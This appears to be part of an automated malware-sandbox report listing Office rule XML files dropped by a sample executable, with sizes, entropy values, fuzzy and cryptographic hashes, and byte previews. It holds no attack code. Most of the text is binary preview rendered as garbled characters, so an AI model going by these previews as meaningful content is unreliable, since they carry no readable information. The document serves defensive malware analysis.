Preview:	<?xml...Aj.>.U.h.....X.o0.....X1.?.D"..7.%....?.oLqG...H......p,..4.....-L..7.....[.......u.R..{mu....#g..l....x e.}'.~v[N.c EM..9.kX.%.J-....c!..9+...V.q.....@..a....5...v..PFcZnz.?H&MD..H.~....b.b...+..G.."....F.d...Dh"..i.......6l..+.c..J.5.]...B..q..u..k.`a.D0r...8..Up..!G.C.^.m..a.).Z.K........6V......\.c^.).#.EhK..}3 .........SQ..ap....-......Tq..,.CB>.f....f.eG.....e..[n.Fu..v..@..U.>..2H....9..d....g.....e....b.u.=..O....-..Y...A._V..q.P...2\|KZ..v..H.Y..7.H~.].}$O..IRE[f.5/.[z..&..FD.\|.@...h..U..Rv..F.4.tQ...kH..^Z...N0P.u.P.z...U.%..@......'kl.W.Uj%%4...,g.\.^"\|..e.k.Z..]+.s.o...G....d.e.=...7Z:...0.Mn.V(S.{..S...{%%...I.T......@...G..W5...?M.a.1.F.h.4-Y._.mp\|...k.;!..p...2.O.l.%z...:.Y...' ...]avR'lY...r;V..eaJ....h...=...y.....2}..5..1.0..bz..~.%...D.>.&.Y.Z..&..s..n.q..6...w...t.!.j...4..).....`..pv........s[.....>.....d....x#.?.p.z..5.)....3p...X`z.$..&.."-..%AU.t.p..Er..... *..R......[.J''e.w.8..P^...[K..>..%.....f`Q..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702501v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.891579296153326
Encrypted:	false
SSDEEP:	48:fTllWOnOREzprLdoAzz1zr+72GEBMpuADEWZD:fGOWEzNLn1zrUEE9R
MD5:	362A51188F3E68398D014160B5726028
SHA1:	BBA2E6D5125F7139CF27EF4386198E469C7DE6CC
SHA-256:	81C81AD42FB931120F05F3CCDEFDAFF9383F9975F23456A1E5885052392CFDAA
SHA-512:	EEA2C182E0F9295F4E6809F4C5C5D8466913114B4C876CD441A51989E2A8716C912529B9FB9EDE8C47AE2EFAF610091CD3237B53B718E910349C4588A0843995
Malicious:	false
Preview:	<?xml....R.DPw..oiq..._. ...3.+.....`!.<T.{..._5W"W).(.mD.\\.R.icr..lKzE............}7h..`...<....8..i!..+..t..#!s....a.;.\|.j!...?c+_.`\3..B..m.2Zj..V,.8.W~..LF...b.4.o.\|Q..5..g.....1...3...^.u.X.u..f.N.u...h..J...sG.b2.7..C...J.r.N........<_F..........j..F3t..EB..;..d..2...!b.l'..,.;....O.....Y..z-/{na.....q.Z$.e..&=......).=f..b....L..QX...W.8V.#..5.....G....:.....$..8...q..!^...A..i...T.r...........8X.=..H..z.X?.rC......2.4..{_.........T.&.....".4....}...Z.^m..[..E.n.(.dq..&.uK....q.p0..w...U...{hb..E!.]B.........j';w....3y=..-.Io...)...;.osv@N.8....x!..X.F.........2wL.us..:.9.X..e1.R.W..4.)8.... ..g0....J5..)...?.....\|..e7%.M.......G......@......I;.E..x.v.[m.I..c...P...W..BU]-.._.1.t...h.....t5\...1-ln+hS..Y..(..^y....3../[....G....x:.}X.^..m... ......Z....CZq7.p9S}KKL.....2..i...>i.L.\9.L._'....c...O....E...M...,....bA.yl.Du*.D.?.1]..Y.W...cF...[.....'...%....(m.y..6.G.../..F...(m..K..D.?....sN.. ....z.;..X..x..fk.$qW.:U.<.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702550v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.895671592547216
Encrypted:	false
SSDEEP:	48:TkJP8TTco7VZ0ZSExHeUTF0lVqvK+kzaPVw5HbD:BT/hiZtx+UH8aat
MD5:	3D4AC5115333E5FD8AB228AFCE2825DA
SHA1:	D647D4F78F5578F4351A84FA3359565762E58CAB
SHA-256:	08D6897E7B261032DD86813D2450DFADAA9D057451ACE83797C7A1AE53D630ED
SHA-512:	F3B486DE71283F4A7D52FC3B739FA5673DAF7D24C954E889C05F3D5F3A35CD9FC394BE1BD94AAE43A15F1785B5BC47AC47F800107E80B6958396A503F3345E24
Malicious:	false
Preview:	<?xml.=.9{......].g..@....!.'CL.7.).I.`d.G.S.!<Q.....\W..y..T6A.9.4EJ..#>....{....:Pv`....-. P..o....h.X.3..k=.R...3.0DQ.&<i>..%.. 3+)...xtP.=......A....v.\h7\.(.M.}+..k.....)...Xi.G....!z..I^.?......>.;k..).RR..Hx`..t..A._o.......B.c..<....-V....<.Y..... ...N.E..D....".NP....PU.......7n.mrt:....Sp.~}.Hh..ui..gy.....T_...2h..@m.Xr...R.../.......r..9...y..\|....;..(...m..k.q}R....[.9.V..1.....N.v..G.a.....N.b.A.Q.Q.Xf..h/W..H...5....K.zjC.:..)....e.U...'#.O5....v.,.:.y.h..F..Ip.J..U.R....;..`...?5.I]^..........3...0n..w.#).q....9....Sc..o.C..^i......Z.".D>."...=.....BA&~..m..)V.....=.i.%...w)9j].T....WX83...Aq...,...gE..7......J..#..ht...m......Iz..gy....0K.v...G.P........l%.}.....1...r.\.S....F*.......X...G....c.....]....XI..0.R....<t"E.L.hPJ..W...@.\..lb.c.W.x.Cc..+.L_.n.....gl...3..........m.2.>]....;A...s_.&RU..l....l.f;W..$BY.W+.a..;..^.....$.3il.=.`....N.I....+.,_"..t."..3}:....5yZ..~......n......nB..=..!....b..F.(...-h+.~..........Sw.}.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702551v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.880362998112645
Encrypted:	false
SSDEEP:	48:BG9St9a92I64MX5IM32FYqQ2syoKnlR6ZwpzAbRED:BGr8s+5UF1Q293nlR6ZwKQ
MD5:	2C666D5C35EB12E94E9F73C7DE4C4527
SHA1:	BF56DCC19975A2B35A6CDF799D2CEEED63C73D81
SHA-256:	074FD5EE160C8E4826731148346E699734CA8C8159AD4F75188AA7D926D0733C
SHA-512:	460AFF0F5B80B798EB338DD9E324FEA82F8EBC65B2831AC1CB22F2DB0A6BAF60F4865F520A19496B78C8D0BD801CABDD2503C2E8FE1620E19CFB36A659614C91
Malicious:	false
Preview:	<?xml.K..<..qxKE........^....H .L..\F3....=; `.<.#.tXnf9V....u..T{y7i...TK~./..fe.K{cI.J.$...E..\|7..W-.N..........-2.H...Qe.<.dC...!...a.......4.......).E.=..`.`<.KN.. ...p.:%..#4...U.....'7........?...j...Bk<..D......lY.T..)T.........0.9..{..=..............HD.p.&.x.O.....V.x......9.1...i}..4.M.>......<......K....,..t.is;..h}.i......Q)wo..g....A..f..~v.{.......P._:.O..L..=..L..pt.&..\|x......L].d 8...'..W.i3.......u..r.,.1C..S...m.L.p.>....j,f..=.l.....f.=n.....w..5..ln.b..,.Y&.\..S.ow.]9:uVR1.^.I..{.Y_...5.^.Sa.[.T..k.>GH.2.t.g. p]3F.....=.....,.9.i.N<....n..V4.c.\|...U..\|.m..D.........6-.M..;....0.....r....0..<.A....S..8U.I....Dmfo.........c+.ga~>.6.=7^-.ax.m......\|....":].#..SCZ..u....t.hg.WW./......>..y.P}=+.!..0...TJh'..z..".0......!.g.,u`.3s......-.#...zc2.wp.6<. j.;../4.JU......Y9vQD.W........q"q...S...s..}d...^`.....t.k..k.1.&.....y......i.Y' .(r.C[.*3.r......VQ\|...m.M..pJ...5.......y4...q/.rw.o.......>D..v..Z.1..p.=.g.w..z'

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702600v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.896707144009344
Encrypted:	false
SSDEEP:	48:5J6pCpeDc0nTtF3pvoKanP+zL0oxgU2gW2Vc7D:b6cpI9ZvoKY2X0qJ2gWEU
MD5:	99F82E3C5D1F46B4832E4ACB27C5E1B6
SHA1:	CC7BA343B5CA203151AEE2826A3A3FD63FDD2DC8
SHA-256:	AAEDC04053BA0F7B9854F715D30902D4273C12F863C29728B8536CA6B36D1487
SHA-512:	1B9A342298ADC18DE476F04416B346D373A6F0391580F421DD65155BF709C83B70C3ABAF68A86B2E6A7C40C41B2A4D3A0E3588728FE0048B541451C230B9D037
Malicious:	false
Preview:	<?xmlu.9,..[.%.:ST..]kw..>.}i.a:..u.g...F........I(.[..PT%R........5.qeI....h@G........\...&J[.b"....".5......B.)..S.H...P........E....N...\...%.zB...'..L)..7[.Y-......M...A...A.a..-.\|M..=..[.g}..I.(.....!J..,..K.............UCw.~F.Pg..9....\vKS...r....u..~....z`..$zS.].........../;C.X.....c...Y}=....K_...... A2...h.5/./.Z?.^.# ...k;.C...f...8..x.....`...32.z....n{Y..ZI.7.,.;"r.^0E....T?.9...;.Qa..#U....+^...@..M.E7'wH.E.Q.Iv..E`.hJ!..9.MD..N..i..>..G..g!......Da3w......_l.uV.{.....%.p.>..`.2.{.Pu..XD..WW:6...5..y.....w.J.gR...yg.:...h4.r.V6.h....a...a...gW..nK..0B........&W%..e...DNU."..97@..O.:n.#$......'..]/.......i]W..M.... ...^........b.w.0.M..J.8/.g.. }...[...l.9...L.Q.!i.G..<-...N_......CVJc....Z...k.J`>.}...N...g..H.K~.^.U.2._...h#b....U.4.8...y.Q..T..e...G.6{%..v..J.[R.....+...O7.6..V.YM..S.L...7.9.......i....&....$^..-....)...........?..$.@....#....`p~.........5............E...*.........f0.<@...D...T_.)q.f-.O..>.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702601v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.877577259997043
Encrypted:	false
SSDEEP:	48:nPnRvOtbltMaFEqjX+E5kVFwUa5hQk42cQGPpED:PnRvOhlKMEqyokMtLt42cQQC
MD5:	0B4FB7216F18EC530C0BF591B30B92D3
SHA1:	B761801A839C19E97D238722D00A36C2E4889DE9
SHA-256:	B8C018E72472C7AA5987BABC661E4DD1C1DD30B10AC37EA2788DCA5D57A06FB0
SHA-512:	1C02821617984E8AC05FF5333673B6CFBA105DD28352A82695DEF541402AA051671B3CCAD76F4D426850ADFDB94A5F3C59267DFA3038123CE9687963BAAF0EBD
Malicious:	false
Preview:	<?xml...Ia..q..bK%1...\|.=%R.G.U.]".....P.\|.t.....j..'..=.9..6~....~..gh.h..>.....R1.........7...".Hc.M.?W..<( .TD.0...PC...%0...X.7.1).J..NoJN.+....+....O..\|..KN....e'.#.Yx.u....+..Y.cK. .=.,..X.<..-gz..2...).`^...~.:.R7.5..L...K.d.f.`c.)2}...o.q.....s!s9.."y..n.#...{..b8.6.t.d..&.D.2,J..7_f.nI......&5... 8:...A....D..G\|._.O........A.a-.a.....&.\|yI..&.. ..Re0vX. ...I[..c..z...N.rRJ..\.;;$....j....\|..6.8.v....q..j8..s.Rr..;.x ....S..2....ZY.}...#....p.U~5.7......C..rZ..\.......1...%\.......my..s..8.....izsT.O...[..3]&#Q.+[q../.o..GN....7y(...3....~....A....c.....S..N.YO......Y..4z..e....6.7..!j.-..~&J._..G(..,L~{.....E....g......:G.s...G....<A....\|.....r...8...N.x.?.^j.b....1.uw(.3-*..r.....g6t.)..Ly.xE%.>..##Vi......B..I......g.:..l....[.a.5..l.;..s......'. ...U.x.`.!38.....Y...........s&.,.......9.....j..(.>.....#B<..t..T.mQ.......qCBf.~..z.v.....k...h{.C..<v....)6$...F..:..t..TD,....GS}...c..O...@.ZobV....xDH......T.Z.U..}{N.0..Q.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702650v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.88541308912701
Encrypted:	false
SSDEEP:	48:iDvgpcCgqexuTWJovBe1b2zQF7oKBiwxjJD:SvgOCgqcuTW6vJQ7oKBiwxjh
MD5:	3E27C931469A2DB607F6D89D90F9BF04
SHA1:	B82C5210627658EA4DA9BE7BCDA40DF5B61C2213
SHA-256:	E798BA84850627BA2EC7E5E7ABB8AEC548DADEF687C9ADB934BADB8AF3EF5595
SHA-512:	8B0E0143FC0BDE2A58AEF61495B4BFEA6FD5D6C83C47BC858FB816984C0FDB423A29AAED8D40C59A2158546724EEB9C218A4B507A76200D71ECE50F28952660E
Malicious:	false
Preview:	<?xmlY].WF<.s....c....6-..0.G..<._@.f.8....?K.B..:...4Y.z.F9<.{8Z..f.+z..J\|{..4n(.\|....j.B....=..........HD.Ov8.....:.....m..`z...{TM?......@.....{......Z...\|;..x.}.}]3k3`E4..C...!25..D..4.1B^;).....g"]$...J....<.R(9.(R..y....e..s..6(..D.`Z...t[.....}.IRAn....7.#.9..TM:...._u#5#V...>..m.x.k..yS..=....H'amm...mnq;.e%. '.\&...(--QA.......X.t....8....p...z..h....7U.`Ow.0...?....^.f..Y.Sp.....<.:......x....O...v.......0R. ...[..3..=Ui.."W\|...fz........p.P..Uz....[&=..7_...+..i76.......0... s<.+...\|.....b_j.\|.c.A.....D..~...vp.....\..Z[...K.=.d..&.....o<.%H..................6..t......B.....4k+8Y...b.;..z&2;.0.s.............mu....?..\]..B&.ruI......R.pl!.iR..._5..Gm...~J...z.wS..^A:..;D.~l...x...=n=..$\.....,.....\.tM....ZQ.y.;. .I...:..C<..J.)....qz.U8...c.....~..R.p.N.3Zc...x%h\F.G.... s".L.D.3....D......)9&....3Tqv.W.7Z.J.U.M...p.<.......W..+..............P........[$...7~.%l6..W....n..nk...9.=5...J.3...:.."..g...\K.......`\m@.s\`..i}.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702651v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.889639200599862
Encrypted:	false
SSDEEP:	48:0ehZk9Lyh/X3tnC+Qp4DY0V28YFSxKX9eED:0eY9yPpG2DnYF4KV
MD5:	6C794DDB147CC40C2141DCF18C49D634
SHA1:	1376D4920A253C2DC766A0D46FDF9E7971EE95BA
SHA-256:	395F2031862496D2AD96489252A03CCE6E112BA7313222AC91B90A12D1862F1E
SHA-512:	8DCA5165E4746460621040B376B6BF1526B759E19FDB371500C2EBF32C1E27F0E936DB35AF68789EE72B2FB79ACE6C81B6DB938E63D56793250BACEA134D437A
Malicious:	false
Preview:	<?xml.,..q.{.M.$[.]v.R...+.BI..K..8.....\|......./.<2^....o....6k.......}..4\....>.o...V[.}.DA....I...Zp..U...P....3L...68T.s.D..-..]........$..a.?......f^..,..j...N.=.+M.1..{..K...y7n.....@....Mg......,v..M....K.n=.P.pkP.c.sS..m<....C..L$:..cpU..~FZj8.D!.Jb(..U...t7Te.K..w... ...l.~.}.....\|.CN.4.m..H.x-9..J...:Or....].s...Y..jk....J.h.V...s.3.b.FxP....8.B\|.Z.L.6..y^..(...=..C.......J.!.eAf..Z6...s....X...j9.y..k.t.....N:.._.J..-..q....kz....~..}v.d.8L...N.....v.3.....^.....<v_.c....O$....]...-..G.W..>.......u..fs.Z....Q......c..................@....[....^...B....K4...w,/1......K>.6.n..&e.o<S).9....)pc.y>$.W..s.\..v.......h[.j..........B......1*..+.#.vNY.9a..m.._Z.M("...E. ;.(6F9..S.3q.N'.&.FGM..H7.-.$.r..'.....f...QR.........&..bai7T.J..?.i.krD..~.BoN........Q(Rt.-......>...':...8.u8m..$.A.6m.j....i.z....f.a.[.n..tkQZ...' ...R......."....e.)+Bg...T..M..._....<Z...-.....8Q.) ....c...U...Q.N.QU..\|.~..&...^f?sD...z/.`..'Fw...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702700v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.889219180563955
Encrypted:	false
SSDEEP:	48:X17hBSTVo4idpyxLPLxnRnLJfllYfw6yoHHTn72K5pD:X17q9iwPFtqswTaK5B
MD5:	33A277AC23853DD7505B44A25C7D86EA
SHA1:	9FE521520EABDFC446245E407DE6E00ABA40AED4
SHA-256:	87CBFD29C5D77A7129BAA1E66025C51E3878CE3CE0F3C43B94716DD9CB20EADE
SHA-512:	7FEFDEC47C797F90413AEE60ED5582FBC8A01890BCAC8084C4828A5C6F1890088AD5F3D20F51A857C14AC9AED6AD1AF18AF59D80B1EEEE5FC9D87CBD4B948BE0
Malicious:	false
Preview:	<?xml..kR......\|%.'......I........Z....._....43..i>......<..G..^A..x...s..59.N+-.K......$..T.g.(.......r.....^....].K~.....]...........&_...>...P.^.d.RoC....N.e.A...vU7...@ ....kF....l~...}.;..fL.hH.K.4.H.t#.K:..sv9.......U/.%.d.s.P.g.T.hjn.....aOA$94.V.jwE}...f........M.ZG...e..E.~FT..L ,..DF......\|UH5.w...=)..v .3..C...a.2Q+...`.V....c.U.X...^.A.jh$....9.:...9.g....U;d.5.V/...;.'o{t,.....W..t...vB$.N.../.......`+...2,...WW&A..&.GP..r.,/.a.!....4"J>..S.{S1.'.M.H...Y.uW.Ba.....`#..........x\|.Rd...L.zG?"....7.D>f..L..``N.\|I...h.!.&.-.Y.e.tw.......?.$...].I...YuL...X?.P:..rR$..4K{.c..'EQ.}m&.w..dLtO.S...V.q~2}^...."....2.^..5=p....Yp7h....%s./.f..>GV.1F8)..lw.\|.W.....C4tY..'l.Bi"..\a:4...inC8.I.f...>a.@-.L......O...?4)..6.....-....3(.L8m....y..._(J/.......E.#........A+.%.t]..Da.....Iuv._.......:.?...d.$..=...L..hH.p..)".}R.........5s..j.......W!...}7.0h....w..G.r.#..V).*..c$..T.^$.j&..g..w.%..Y......NVl..6.... ............R.<..$#.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702701v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.888266843338274
Encrypted:	false
SSDEEP:	24:PeQwoTvOTq1+W+aPaRXN1dxoTNe/UT6V9L7+8qKEOC+sVdT8NG9HtW35bD:GFoT2OOuaxN1d+W3U8WOwUhJD
MD5:	3BB6F58871ACC72A68C43EE6940660E0
SHA1:	9D7A52679F61AC2B9DDCCF6576EB59C974BE1B7C
SHA-256:	C9FCE6A6E8DE88F0E5E416C6ECE66BA691DE8D49338AFCDA4B878807777A4DDA
SHA-512:	6D05F47E02E8C9E02206E3183731A888267D78279052FC985C37085322D19956525E5784F2EB5375A6CBC90701B6224DA8229E43A2ECC08DC76DF5D5C7F4601A
Malicious:	false
Preview:	<?xml.f..i.Q...s...'..W.p......9y.W.......An6...3<}.......q.ZT...}...}...f.....u."(n..fLO....x$..w......;.P......Q.<.>..F...2@...J..j........p.4jm.f.%..W.y7M...G8-G.r..5.9.....T6..U..9g...V...C.h..Tr.P.2...FUn%..FJP.k..9^.?.;.....xBZa....qc..;8W...N....p.....Y.\...6.@b.R.?..?..... .JB.o[..#..P....a..C?..>'..a...#Z.x;h..).wp.....?.pZ..w....wC{...N..t.$6{"Xrll...E.R....\|..]H.\|.n.Kv.!.../......,........>......Wtwv...~.......89(...;..3....C...7=....;...FGT?....H..U?V!q}b....7)..\.%.K?...t.h...)..F.(.Z:.....omT....._..%o....4...y(.....3....z3<.I.-.....9Whk..y..........w..V.......6...:.Gve.\...J#t..........F.p..Z..9.z.}k.K..l..?.]t.%. .3..A.....J]l...\3p8.[..s.s...\O.AS.:.m..H`.F...Ay..7..`.0..x...Z.}..e.vQ.....;.r.....Y...=\|.RT..t.W.1..c.1U....../."6.....G.*...D..c...W....5.....K_....S..$.......O...g>`p......X...'.........=.....A..5I..2...........w..._..-....n...W.x.;.b.Y...P.J.k99..........`. j....M...TVf\....Ll....../.N

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702750v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.888059136486011
Encrypted:	false
SSDEEP:	24:fMNhDtIbmt2VfMlmOn5SpA9f+GPEEER2qDucgfyo0r7P25p1qXT7A3/69MbD:fMTBWY2VUVSpAdqoqDu8ZrK5TqXT7ED
MD5:	9B07CDBB861B453897940B9E35290E3B
SHA1:	9E249BB3AECDD9B9FA08F1D2CB09C27A7D5A318D
SHA-256:	444ED1B9D60C92A8C37B56D7EC84C703737BCD49687ED406D71FCE54150BBD77
SHA-512:	8BD990D0FFCDAA6F4AE11C324EBEDC8F8EEF0E9BE60A8D7E252D2D9F9D734B2B645F75236AD41984A21C0014515A377F9C553075907F1019639141198C955DAB
Malicious:	false
Preview:	<?xml..,bi...y..Q.UZ.L.$....+...2....%.f...._......y..2E....Q."..<..t..Of.uY....A......../Z.....N.mm.S......-.}.A..t....%X.U..G...\|...@....m....Y...(...+J>..a.K.d.?...@.L.[.e`....W...Y....Wh...S...r..U..T...&~.V...E.[o...T.nvR.-.t</..va....!t.I.V&.0.."...9%.F5%..?.1....T..\|.\|..U.)$wX.md....~8...(......Q>9..1E.......5.....Z!.x......p.m.5.....YQ.?....D..}..1.p..5-....&G....g.fPc....r....+.....lz....0..V.g....=...$...Sk...P....C<.x~/.C..U..M\|A.h.]E;..h.....4...=Ym..V.T.#.......p-...v.D\.&h.U.....n<n.T.Y,...j..P.u..~%....@!.....T....;...~sU./m^"g.C.K..r.m.2......T...S<.<d1..........&.6.......P].@TK...]-\|..<.V..7....,..;.....#iox.a]5.-.....`.~..XAc(.(S.T~h.\|.tv=....)...%.....PA:.>/..\WE....,....<.Y......@......l..%.=%.....^....;,B}....b.?\H..rM.'..2.....g@.3?....I.n..HC...O...L..:.%..Z.\|.KrbZ,?B.Vz...R...=.....x...@..0<..W.....nC.-.Q.y.OOZ...J5.^..E45.6 .hkm...i].Y..".JK...@.2>.....Gk...\...^....s2)...N..v..U..O....G.L.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702751v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.884867487057614
Encrypted:	false
SSDEEP:	48:RN6tBDJp6eqVqhJNO1iVQj+WkL0tICv3ipNGUsF8bBOD:RgTDie8qo1Oc+lL0zvWNGvW2
MD5:	09096269D550CF5607007EB522EE4942
SHA1:	2428E82B03F002EC8C5F490FAC82846029E5D76E
SHA-256:	812FD401826656B77BC579AA45B941173F13AB65E17C511552186AED7CF59E91
SHA-512:	2239FAD876CF208F341DFAD7228FA75AE7D758B999E82E95E14061FF4FA487D32A6899D2FEF72D164A7D832EC797BEF690E4B2162E30D3A7A27AAFFE65EA8DBF
Malicious:	false
Preview:	<?xml..96.......J.!..U.;..e.R5R..K..,.l..6.H...u.}Y..DY.\.r\|.k. .........!....bk.S........S...+S.......wNM..#......E'.l.;...e................t..5c...c..w....V....q..+...C.G...b&..y...<...P%.]..uk.gu.WU...4w...`...........?..<D.y..S...L..7.....h......Z/..6..S.Y{....Do..Od><s...z0+@rO.A......%...g..d).d.%..{+.wv4~......;.....<Z."...^+c../..p.tkV(.(U...vO...K!x}.'...J,6.....,.'k.....6....K6.....X....ojj......E.".J..Lm..`.[.Fa\.y%^T.............X......d.1N!.F..D_..<..3....e.O:0...UE.F...]3Ddo...EO.(....\|W.....s.....aQ.^........O...E..Y..t.;Zij!g.h.;....V....].1..]...}...o...1......+.C..}%.Xr..n.er......p..&........=.p%..f...ou.4%...>t...X..........S.4...uS..sDW...UGTm..o..L<..w...,.]..Pp..v...@E\|[5..EW.+@...a.=Dq.\..h...\.A......p..6ws..3i....I..{....g.;...>?....nd.c.Bso9...7....F'.#Q...,0.....zF...L.:.O...[..M.t.\|?I........v.m...%.e.H..Vh....^.L..-r...)..!\|..6BY.*..,.2<u...V.g....oN.V:>.....,..k.=P.!_....6.......i..h)X.,.....!..[.H.c.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702800v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1687
Entropy (8bit):	7.884523288883067
Encrypted:	false
SSDEEP:	24:BX7/JN1F0rWGzuPBySIYnPRC+SsVaQ7ZgTJ5nzrZExGLOjODlB2IQ+zfY4fMQbD:l7BNDvPUSIYEgVa2+5eoCeEPRKD
MD5:	A16E5270765771C9641B85B80FB70469
SHA1:	5795C1B0E3C4A2A1E7A9358EB89EB3D3BDC0D456
SHA-256:	EAD74C8B66490116665C1E9696DA496CDB3A76C8C416C2CC04BB003DEC43C38E
SHA-512:	67EA09443EADBFB18CB3828FF371139F56CFD51167B8CDAC8D5749B1F76D5F3039EF22EF34741E70B4143F85C22CBCFE178ECEFADDBE2E1CD62C3BBAB6E533ED
Malicious:	false
Preview:	<?xml/.C....pC.J..GWF.yuc4%4..'1..j.....X.=q.....f."U..qo........$..R?......s..&6v.:....u......#eo6_...B..Ty........M..xU9.D..KA..~...j[n....,..Y..`.......X.5.M.o;o.\|.,..4,/..-...~{...^j..&.a..1..~....S.B.;C...T....NS...B/i.......xA.G ......9}......{05.../.q....3.".].y2A....S....J.=&....}N&.....R....Y6.g...\|....q....V3..een.b.c...g...y...O...%. C.G.;...\hA.~.I.....a..S..n2j(...m..7.q-E..,.l....5.../...]1..8.......r....5.a..\.....Y-[..$..R.).Z..6{...>..L.i....D.!."............."..9(.qT..?.gVG).G..&.,pq%...r8tX.dg}.fz{......b....F.-.C.%.T...S..s..A.....C.l'....Hz...J.(.=dF..w.V....z).n..M...A.. .-.;.A..mD..{.,QY..[.!n..T.......K..7.$...G.....t.8...u.....1.Nf.e...yo.............,.W.f........!..'7....ga'.=X.V].....H...v#...x..YP....l....y.jz.s..#..e..z..0.[.)..j#B.+.f....>..,....=j....?..ub..].Su..<`./...p....?*.I..X1.TN_..F;pYG\..=T..:.U..iX.c..X..V.#.k.:...A...+Kqa@T.....OK..`....b..}Z.Dp.M8F..!....!.....`yH..y..d.....'7D..+.G..8..n

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702801v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1724
Entropy (8bit):	7.878674839412492
Encrypted:	false
SSDEEP:	48:02pdKYBmd8HOazIYjkGlS5I+Pw39ghQwLIIwD:02pwpKHOazIYjeIkAgdMT
MD5:	0CD613A7A6CAA27E10CA5F9CED6A93A4
SHA1:	8FDFB1F28FDC0829D2ACB842D3ADA7835A1FB326
SHA-256:	7C4BC0DAFA500FEFE77C1A680959F5DD23F14CF9574E39F1DEAAB3CBA73352A5
SHA-512:	B8A52634989DE6C4988A757CFAFAAD5608AFFE90CA4D3C07D22BBE4E0AE5CB89718C9EE8D6BD204CEA9E4E49EE1560EBF0E5186AA36B8C5FCE657F21CC38F802
Malicious:	false
Preview:	<?xmlE..H.R`..D..!...t...S=h.cS..S\4..\|e..'.e..T:...;....K....qs..l....{....>._.x..HB;H-...w?...J..MQ.x...{.6.Dk....d.m....n=z..._\.......(.K..,P.do.m.7(......`.....u.ICH=...o7g0.\!g.jh...gw.#..9...c...Sr....K.a."4Hb..d..w^x/..G.(..^..e.).$W'.$mhY00.%.T.e.C......T.e....\.`L.ku.kM.i+U7....v.O`j}.(...[H.jz..Ax.c..0.Ns=......;~..r3.#..V..t..V...u.E.T.="...gXj.....tW.....R.T2.e..V..y...)..).'.+..L..6'2G.....i.\|.FgS....#a g<.aV)...h...k.O......g\....7=.....G....4.[.Z..3.....tyh..+zA..6..^z.~..v".h...8.a..O..<.x.+..H8....e....M.9..Y.M.35h.......%JE~..5B.7...K..o.....P\lr.......Zf.......k&`=..A..-.N.`.d..JN8..-.S..)8u.d.....Y...p.~z..$..[..V@....`.qk.K").....FV...&....3.&F3a5N.F.!.'..q../#7........NoG.;(._....N...((...z.0.D.#....l..5.O.FU.q.th.x..}4......u...I.9.k.j.p.S.\|"..j...f.#.:...0.t$....z..z+.m9....t...H...%#}..\|.....5xf..D......u..7..W}5...........j .M....+..m.eL..+......6...3.k.Vn.GP...P^\|.w.[......Qg.L.#..,Wt../.....S.*F/$[.x.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702850v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.8825873835901445
Encrypted:	false
SSDEEP:	48:FgQl3zZIHkYf43qKTAbf5EXGDqWPT67zD:FgSFOtw3q/OWDqWPTM
MD5:	5B62402752FFEC27B274F563B8E135C9
SHA1:	F45F72562910AADB3143F3CE86446FCAAB14D866
SHA-256:	5F2776650A3C77F52C7E5E107FE0C21FAF21F6329B0A5FA3D80F569F53759D38
SHA-512:	E935C49A62160DF4B27A73972B3C1586A2565A0DF1FDE580DA55A6DEFB9B4DCDC10A3E692CAC320D9F51852DA2F1F72D37B3CCF00A41F180933A44163CAF1C8D
Malicious:	false
